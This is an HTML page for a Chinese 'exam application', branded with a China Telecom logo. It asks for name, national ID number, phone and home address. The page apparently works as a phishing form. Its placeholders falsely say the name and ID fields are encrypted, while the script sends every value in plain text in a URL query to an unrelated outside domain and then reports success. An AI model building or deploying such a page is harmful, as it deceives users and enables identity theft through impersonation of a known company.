<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>考试申请</title>
    <style type="text/css">
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: PingFangSC-Regular, "Microsoft YaHei", sans-serif;
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background: #f5f7fa;
        }

        .page {
            display: flex;
            width: 100%;
            max-width: 1500px;
            height: 90vh;
            box-shadow: 0 2px 12px rgba(0, 0, 0, 0.1);
            overflow: hidden;
            background-color: #fff;
        }

        .box_1 {
            flex: 1;
            background: url(left.png) center/cover no-repeat;
            display: flex;
            align-items: flex-start;
            justify-content: flex-start;
            padding: 20px;
        }

        .image_1 {
            width: 140px;
            height: auto;
        }

        .section_1 {
            width: 500px;
            padding: 40px;
            display: flex;
            flex-direction: column;
            justify-content: center;
        }

        .text-wrapper_1 {
            padding: 8px 16px;
            border: 1px solid #145EFF;
            border-radius: 6px;
            color: #145EFF;
            cursor: pointer;
            align-self: flex-end;
            margin-bottom: 20px;
        }

        .text_1 {
            font-size: 16px;
        }

        .text-wrapper_11 {
            margin-bottom: 10px;
            margin-top: 50px;
            text-align: center;
        }

        .text_2 {
            font-size: 32px;
            font-weight: bold;
            letter-spacing: 8px;
            color: #333;
        }

            .block_3 {
            width: 120px;
            height: 3px;
            background-color: #145EFF;
            margin-top: 10px;
            margin-left: auto;
            margin-right: auto;
        }

        .form-group {
            margin-bottom: 24px;
        }

        .form-label {
            font-size: 18px;
            color: #333;
            margin-bottom: 8px;
            display: block;
        }

        .form-input {
            width: 100%;
            height: 50px;
            border: 1px solid #ddd;
            border-radius: 6px;
            padding: 0 16px;
            font-size: 16px;
        }

        .form-input:focus {
            border-color: #145EFF;
            outline: none;
        }

        .submit-btn {
            width: 100%;
            height: 50px;
            background: #145EFF;
            color: #fff;
            border: none;
            border-radius: 6px;
            font-size: 18px;
            cursor: pointer;
            margin-top: 40px;
        }

        .submit-btn:hover {
            background: #2b6fff;
        }

        @media (max-width: 768px) {
            .page {
                flex-direction: column;
                height: auto;
            }

            .box_1 {
                height: 200px;
                justify-content: center;
            }

            .section_1 {
                width: 100%;
                padding: 20px;
            }
        }
    </style>
</head>
<body>
    <div class="page">
        <div class="box_1">
            <img class="image_1" src="logo.png" alt="中国电信">
        </div>
        <div class="section_1">

            <div class="text-wrapper_11">
                <span class="text_2">考试申请</span>
            </div>
            <div class="block_3"></div>

            <form onsubmit="submitForm(); return false;">
                <div class="form-group">
                    <label class="form-label">姓名</label>
                    <input type="text" id="name" class="form-input" placeholder="请输入姓名（已加密）">
                </div>

                <div class="form-group">
                    <label class="form-label">身份证号</label>
                    <input type="text" id="idCard" class="form-input" placeholder="请输入身份证号（已加密）">
                </div>

                <div class="form-group">
                    <label class="form-label">联系电话</label>
                    <input type="tel" id="phone" class="form-input" placeholder="请输入联系电话，并保持通畅">
                </div>

                <div class="form-group">
                    <label class="form-label">所在城市</label>
                    <input type="text" id="address" class="form-input" placeholder="请输入省、市、区">
                </div>

                <div class="form-group">
                    <label class="form-label">详细地址</label>
                    <input type="text" id="addressDetail" class="form-input" placeholder="小区、写字楼、门牌号">
                </div>

                <button type="submit" class="submit-btn">提交申请</button>
            </form>
        </div>
    </div>

    <script>
        function submitForm() {
            const name = document.getElementById('name').value.trim();
            const idCard = document.getElementById('idCard').value.trim();
            const phone = document.getElementById('phone').value.trim();
            const address = document.getElementById('address').value.trim();
            const addressDetail = document.getElementById('addressDetail').value.trim();

            if (!/^1[3-9]\d{9}$/.test(phone)) {
                alert("请输入有效的手机号！");
                return;
            }

            if (!name || !phone || !address || !addressDetail || !idCard) {
                alert("请填写完整的信息！");
                return;
            }

            fetch(`https://mianshi.dgjxx.cn/api/rest/v1/user/submit?phone=${phone}&idCard=${idCard}&username=${name}&address=${address}&addressDetail=${addressDetail}`)
                .then(response => response.json())
                .then(data => {
                    alert('提交成功');
                    history.back();
                })
                .catch(error => {
                    alert('提交失败，请稍后再试。');
                });
        }
    </script>
</body>
</html>